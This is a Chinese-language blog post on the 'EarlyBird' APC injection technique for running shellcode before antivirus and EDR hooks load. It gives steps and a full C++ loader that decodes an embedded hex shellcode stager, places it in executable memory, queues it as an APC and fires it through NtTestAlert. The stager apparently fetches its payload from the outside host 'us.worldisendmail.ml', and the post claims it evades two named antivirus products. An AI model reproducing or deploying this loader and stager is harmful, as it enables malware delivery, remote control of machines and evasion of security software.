EarlyBird
本质上是一种APC注入与线程劫持的编制,在线程初始化时会调用ntdll中的未导出函数NtTestAlert
NtTestAlert
是一个检查当前线程的APC队列的函数,如果有任何排队的作业,他会清空队列。当线程启动时NtTestAlert
会在执行任何操作之前被调用。因此在线程开始状态下对APC进行操,那就可以完美执行shellcode。该方法被用来BypassAV/Edrhook的过程,它驶入在AV/EDR有机会将其挂钩放在新创建的进程中之前运行shellcode.
步骤: - 1.创建一个挂起状态的进程
(如果是将shellcode注入到本地进程,那么可以使用APC到当前进程在去调用NtTestAlert)
CreateProcessA( ..., CREATE_SUSPENDED, ...)` 便可创建一个挂起状态的进程.
- 2.为shellcode分配内存空间,写入shellcode - 3.插入APC到主线程(当前线程)
- 4.调用NtTestAlert()执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #include <Windows.h> #include <stdio.h> #pragma comment(lib, "ntdll") using myNtTestAlert = NTSTATUS(NTAPI*)();
int main() { char buf[] = "fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e6954684c772607ffd5e80000000031ff5757575757683a5679a7ffd5e9a40000005b31c951516a03515168fb20000053506857899fc6ffd550e98c0000005b31d252680032c08452525253525068eb552e3bffd589c683c350688033000089e06a04506a1f566875469e86ffd55f31ff57576aff5356682d06187bffd585c00f84ca01000031ff85f6740489f9eb0968aac5e25dffd589c16845215e31ffd531ff576a0751565068b757e00bffd5bf002f000039c775075850e97bffffff31ffe991010000e9c9010000e86fffffff2f5877424b00c638b6057378a894eecf7bc1aa53ba78900a3bb158655591a5330461ce3d74a0e14842e13a75861c930427a411f354079ef04a095ad081b8e47fe04ded2f08e0fc010136d933a1807300557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e313b20574f5736343b2054726964656e742f372e303b2072763a31312e3029206c696b65204765636b6f0d0a486f73743a2075732e776f726c646973656e646d61696c2e6d6c0d0a007fef054e2008ae77070f044f1087a24772a18e66fbc21da7ae0deb5058231549208008c5c1d40c32c9f88b3e85652e58a3ca12e34ad665175870d1fc6d165493374260b2c750510707a5328dbaf92eab4f0b92fa87e05815da018b2c9a4a322ff33122f6bb9634cb1790d825298529cb30e5f01f7e6cdfba37bd78b967e41a7ece26d438f78459445dbdd9e7b1c7e0adf81b0c58a4d3ecf83e57191cbeb494683b9b25b3dd9bb903b1421b77de08b283b4e28820e49b04b8b303f85c4d1495900068f0b5a256ffd56a4068001000006800004000576858a453e5ffd593b90000000001d9515389e7576800200000535668129689e2ffd585c074c68b0701c385c075e558c3e889fdffff75732e776f726c646973656e646d61696c2e6d6c00499602d2"; myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
unsigned int char_in_hex; unsigned int iterations = strlen(buf); unsigned int memory_allocation = strlen(buf) / 2;
for (unsigned int i = 0; i < iterations / 2; i++) { sscanf_s(buf + 2 * i, "%2X", &char_in_hex); buf[i] = (char)char_in_hex; } LPVOID shellAddress = VirtualAlloc(NULL, memory_allocation, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, memory_allocation, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL); testAlert();
return 0; }
|
可过 360、火绒
References
https://d3sh1n.github.io/2022/01/06/APC-%E6%B3%A8%E5%85%A5%EF%BC%88%E4%B8%80%EF%BC%89/
https://cn-sec.com/archives/406854.html
https://www.anquanke.com/post/id/252487
https://xz.aliyun.com/t/11153#toc-8
https://www.anquanke.com/post/id/252487#h2-2
https://myzxcg.com/2022/01/Windows-Shellcode-%E6%B3%A8%E5%85%A5%E5%A7%BF%E5%8A%BF/